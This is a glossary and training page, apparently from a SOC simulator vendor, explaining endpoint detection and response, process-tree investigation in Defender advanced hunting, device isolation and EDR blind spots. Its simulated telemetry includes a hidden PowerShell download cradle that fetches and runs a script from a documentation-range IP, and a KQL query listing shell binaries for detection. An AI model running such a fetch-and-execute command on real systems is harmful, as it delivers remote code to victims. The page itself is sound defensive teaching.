What is EDR?
EDR (endpoint detection and response) is security software that puts an agent on each laptop, server and workstation, records what happens there (process starts, command lines, file, registry and network activity), raises alerts when that behavior looks malicious, and gives the SOC remote response actions such as isolating the device or stopping and quarantining a file.
Definition
- EDR
- EDR (endpoint detection and response) is security software that puts an agent on each laptop, server and workstation, records what happens there (process starts, command lines, file, registry and network activity), raises alerts when that behavior looks malicious, and gives the SOC remote response actions such as isolating the device or stopping and quarantining a file.
How EDR Works
The acronym describes the job. The endpoint is any device that can run the agent: workstations, laptops, servers, virtual machines. Detection is the alerting built on top of what the agent records. Response is what you can do to that device from the console without touching it. Antivirus asks whether a file is known to be bad. EDR keeps a history of what each process did, so you can work out what happened before and after an alert, even after the file that started it has been deleted.
What EDR does in a SOC
In the NIST Cybersecurity Framework 2.0, endpoint telemetry is one direct way to meet outcome DE.CM-09: "Computing hardware and software, runtime environments, and their data are monitored to find potentially adverse events." The agent does four jobs:
| Job | What the agent does | What you see in the console |
|---|---|---|
| Record | Streams process, file, registry, network and logon events to the backend | Telemetry tables and a timeline for each device |
| Detect | Runs behavioral rules, reputation lookups and models over that stream | Alerts with the process tree and evidence attached |
| Investigate | Keeps the history after the alert is closed | Hunting queries across every enrolled device |
| Respond | Takes commands from the console | Isolate the device, stop and quarantine a file, collect an investigation package, open a live response session |
The record at the center of an endpoint investigation is process creation. MITRE ATT&CK tracks it as data component DC0032, Process Creation: "the event in which a new process (executable) is initialized by an operating system", parent-child relationships and arguments included. The log sources ATT&CK lists for it include Sysmon event 1, Windows Security event 4688 and Defender advanced hunting. The command line is where they differ. Event 4688 only records it when a separate audit policy is turned on, while an EDR process table has a column for it: ProcessCommandLine in Microsoft Defender for Endpoint.
Telemetry and alerts are two layers
An EDR console holds two kinds of data, and an investigation needs both.
- Telemetry is every recorded event, malicious or not. In Defender for Endpoint it lands in advanced hunting tables such as
DeviceProcessEvents,DeviceNetworkEventsandDeviceFileEvents. Advanced hunting reaches back 30 days of raw Defender XDR data. Keeping it longer means onboarding a Microsoft Sentinel workspace and setting the table's analytics-tier retention. - Alerts are the small part of that activity a detection flagged. They live in
AlertInfoandAlertEvidence, the second holding the entities attached to each alert: files, IP addresses, URLs, users and devices.
An alert tells you a rule matched. Telemetry tells you what else the same process, account or device did, which is how you decide whether the alert is a true positive and how far it reached. Closing an alert on its title alone skips that step. The reverse also holds. An attacker who never trips a rule still leaves rows in the telemetry, and those rows are what threat hunting searches.
Reading a process tree in DeviceProcessEvents
Simulated example generated by SOCSimulator Research. The device, account, file name and IP address are invented (the IP comes from the 203.0.113.0/24 documentation range). The table and column names are Microsoft's.
A user in finance opens an email attachment. These are two rows from DeviceProcessEvents on ws-fin-07.corp.example:
Row 1 Timestamp 2026-10-14 09:12:07Z
AccountName j.ortega
InitiatingProcessParentFileName explorer.exe
InitiatingProcessFileName WINWORD.EXE
InitiatingProcessId 6212
InitiatingProcessCommandLine "WINWORD.EXE" /n "C:\Users\j.ortega\Downloads\Invoice_4471.docm"
FileName cmd.exe
ProcessId 7340
ProcessCommandLine cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/a.ps1')"
Row 2 Timestamp 2026-10-14 09:12:08Z
AccountName j.ortega
InitiatingProcessParentFileName WINWORD.EXE
InitiatingProcessFileName cmd.exe
InitiatingProcessId 7340
FileName powershell.exe
ProcessId 7412
ProcessCommandLine powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/a.ps1')"Each row is one process start. FileName, ProcessId and ProcessCommandLine describe the new process. The InitiatingProcess* columns describe the process that started it, and InitiatingProcessParentFileName goes one level higher. You chain rows by matching one row's ProcessId to the next row's InitiatingProcessId: 7340 is the cmd.exe that Word started, and it is also the parent of powershell.exe. The tree is WINWORD.EXE > cmd.exe > powershell.exe.
Three details in those rows decide the case:
- Word has no business starting a shell, and a macro-enabled
.docmfromDownloadsexplains how it did. - The PowerShell command line hides the window, skips the profile and pipes a script downloaded from a bare IP address into
IEX(Invoke-Expression).DownloadStringreturns the script as a string, so the second stage runs in memory without being saved as a file. That is the pattern behind fileless malware and living off the land. AccountNameis a regular user, so the next question is what that session reached, not whether an admin account is involved.
The next pivot is DeviceNetworkEvents on the same device with InitiatingProcessId 7412. Its RemoteIP, RemotePort and RemoteUrl columns show whether the download connected and where the script went next. Windows reuses PIDs after a process exits, so on a busy device match InitiatingProcessCreationTime as well.
To look for the same pattern on every device, this query returns shell launches whose parent or grandparent is an Office application:
// Office apps starting a shell, directly or one hop down through another shell
let OfficeApps = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]);
let Shells = dynamic(["cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe", "mshta.exe"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ (Shells)
| where InitiatingProcessFileName in~ (OfficeApps)
or (InitiatingProcessFileName in~ (Shells) and InitiatingProcessParentFileName in~ (OfficeApps))
| project Timestamp, DeviceName, AccountName, InitiatingProcessParentFileName,
InitiatingProcessFileName, InitiatingProcessId, FileName, ProcessId, ProcessCommandLine
| order by Timestamp ascThe query is written against the documented DeviceProcessEvents schema. If a sanctioned add-in shows up in the results, exclude its exact command line rather than the whole parent process, or the next macro document hides behind the same exclusion.
What "isolate device" does, and what it does not
Microsoft's documentation for Defender for Endpoint is specific about how isolation behaves:
- It disconnects the device from the network but keeps its connection to the Defender for Endpoint service, which goes on monitoring the device. Telemetry keeps arriving and you can still open a live response session.
- Selective isolation can leave Outlook and Microsoft Teams connected.
- If the device is offline when you isolate it, Defender retries for up to three days. Until the device reconnects it is not isolated, whatever the console says you requested.
- A device behind a full-tunnel VPN cannot reach the Defender cloud service once isolated. Microsoft recommends split tunneling for Defender traffic.
- Isolating a Hyper-V host blocks network traffic for all of its child virtual machines.
Isolation is a network control. It does not end a process that is already running, remove persistence or do anything to the user's account. A session token stolen from that laptop still works from the attacker's own machine, so the account actions belong in the same containment step. For a compromised device with no agent, Defender has Contain device instead: every onboarded device blocks traffic to and from it. Microsoft supports the blocking on onboarded Windows 10 and Windows Server 2019 or later devices and recommends containing no more than 100 devices at a time.
Where EDR does not see
- Devices without the agent. Unmanaged laptops, printers, network appliances, OT equipment and any cloud server nobody onboarded. Contain device can protect the neighbors of such a device, but nothing is recorded from inside it.
- Traffic between other devices. The agent sees the connections its own host makes. Two unmanaged devices talking to each other, or traffic that never touches an enrolled host, needs network telemetry: firewall logs or NDR.
- Identity and cloud activity. A sign-in with a stolen token, a new mailbox rule or an OAuth consent happens at the identity provider or the SaaS service, not on the endpoint. That gap is what XDR and the SIEM cover.
- A tampered sensor. Attackers stop services, kill agent processes or edit configuration and Registry keys to blind the tool. ATT&CK v20 tracks this as T1685, Disable or Modify Tools, under the Defense Impairment tactic, and the old ID T1562.001 now redirects there. If a device stops reporting in the middle of an incident, check the agent's health before you assume the attacker left.
EDR vs antivirus and XDR
Antivirus (also sold as endpoint protection, EPP, or next-gen antivirus, NGAV) is built to block malware before it runs. EDR records activity and gives you a way to respond when something gets through, and many endpoint platforms ship both in the same agent. XDR widens the view from the endpoint to email, identity, network and cloud data and correlates them into one incident. The full comparison, with what each one shows you in an alert, is in EDR vs antivirus vs XDR.
EDR in SOC Operations
EDR is where an endpoint alert gets confirmed or closed. When the SIEM flags a suspicious PowerShell command line, you open the device timeline in the EDR console and read the process tree: what started PowerShell, what PowerShell started or connected to, which account ran it. That context is usually what separates an admin script from a living-off-the-land attack. Isolating a single endpoint is one of the few containment actions a playbook normally lets the analyst on shift take without waiting for approval, so know where your playbook draws that line before you need it. Then check the action status. An isolation still pending on an offline laptop has not contained anything, and your case notes should say so. EDR is also how you scope an incident. Search every enrolled device for the same file hash, command line or remote IP, and one query tells you whether you have one compromised host or twenty. SOCSimulator's XDR console puts you in that seat with process trees from simulated incidents, so reading parent, child and command line becomes a habit before your first real shift.
Practice EDR in a Real SOC
SOCSimulator provides hands-on training with realistic SIEM, XDR, and Firewall interfaces. Build real analyst skills investigating edr scenarios with zero consequences, free.
Frequently Asked Questions
- What does EDR stand for?
- Endpoint detection and response. The endpoint is the device running the agent (a laptop, workstation, server or virtual machine). Detection is the alerting built on what the agent records, and response is the set of remote actions the SOC can run from the console, such as isolating the device or collecting an investigation package.
- What is EDR in cyber security?
- The endpoint layer of detection and response. An agent on each device records process, file, registry and network activity, alerts on behavior that looks malicious and lets analysts act on the device remotely. In NIST CSF 2.0 terms it is one way to meet DE.CM-09: monitoring computing hardware, software and runtime environments to find potentially adverse events.
- How does EDR work?
- The agent streams events to a backend: every process start with its parent and command line, file writes, registry changes and network connections. Detection rules and models run over that stream and raise alerts with the process tree attached. Analysts query the stored history to investigate or hunt, and send response commands back through the same agent.
- What does EDR do?
- It records endpoint activity, detects suspicious behavior in it, keeps that history for investigation and responds on the device. In Microsoft Defender for Endpoint, response includes isolating the device (it stays connected to the Defender service), stopping and quarantining a file, collecting an investigation package and opening a live response session.
Sources
- NIST CSWP 29: The NIST Cybersecurity Framework (CSF) 2.0 (DE.CM-09)
- MITRE ATT&CK: Data component DC0032, Process Creation
- MITRE ATT&CK v20: T1685, Disable or Modify Tools
- Microsoft Learn: DeviceProcessEvents table in the advanced hunting schema
- Microsoft Learn: DeviceNetworkEvents table in the advanced hunting schema
- Microsoft Learn: AlertEvidence table in the advanced hunting schema
- Microsoft Learn: Proactively hunt for threats with advanced hunting (30-day data range)
- Microsoft Learn: Take response actions on a device (isolate and contain)
Related Terms
Extended Detection and Response (XDR) is a security platform that unifies telemetry from endpoints, ...
SOAR (security orchestration, automation and response) is software that runs a SOC's repeatable resp...
Lateral movement is the attack phase where adversaries expand access from an initial foothold to add...
Persistence is the set of techniques an adversary uses to keep access to a compromised system after ...
Privilege escalation is an attacker gaining rights they were never given, after they already have a ...
In cyber security, containment is the incident response step that stops a confirmed incident from sp...
Living-off-the-land (LOTL) is an attack technique where an adversary carries out reconnaissance, lat...
More Tools Terms
Related SOC Training Resources
Event ID 4103: PowerShell Module Logging & the 4104 Visibility Gap
Event ID 4103 captures every PowerShell cmdlet and its parameters. Learn the 4103 vs 4104 distinction and how to catch h…
Read more Event IDEvent ID 4104: PowerShell Script Block & How to Detect It
Event ID 4104 logs full PowerShell script block text, deobfuscated. SOCSimulator breaks down the fields, GPO setting, an…
Read more TechniqueCommand and Scripting Interpreter (T1059): Detection Training
Because interpreters such as PowerShell, cmd.exe, bash, WMI, and Python ship on every host and are trusted by most contr…
Read more Career PathSOC Analyst (Tier 1) Career Guide: Salary & Skills
Tier 1 SOC Analysts are the front line. You monitor alert queues, triage incoming detections, classify them as true or f…
Read more Career PathSOC Analyst (Tier 2) Career Guide: Salary & Skills
Tier 2 SOC Analysts handle the investigations that Tier 1 escalates. You dig into multi-stage attacks, coordinate contai…
Read more Career PathSecurity Engineer Career Guide: Salary & Skills
Security Engineers build and maintain the infrastructure that SOC analysts depend on. You deploy SIEMs, configure firewa…
Read more ComparisonSOCSimulator vs LetsDefend: Comparison
SOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…
Read more ComparisonSOCSimulator vs Hack The Box: Comparison
Different tools for different career paths. SOCSimulator trains defensive analysts. Hack The Box trains offensive securi…
Read more ToolXDR Training Console: SOCSimulator
The XDR console in SOCSimulator replicates the investigation workflow of platforms like CrowdStrike Falcon, Microsoft De…
Read more TechniqueMITRE ATT&CK® Techniques: Detection Training Library
Browse all MITRE ATT&CK® techniques with detection strategies and example alerts.
Read more Career PathCybersecurity Career Paths: 2026 Guide
Explore SOC analyst career paths with salary data, required skills, and certification roadmaps.
Read more PlaybookSOC Investigation Playbooks: Step-by-Step Guides
Practitioner investigation playbooks with decision trees and real SIEM queries.
Read more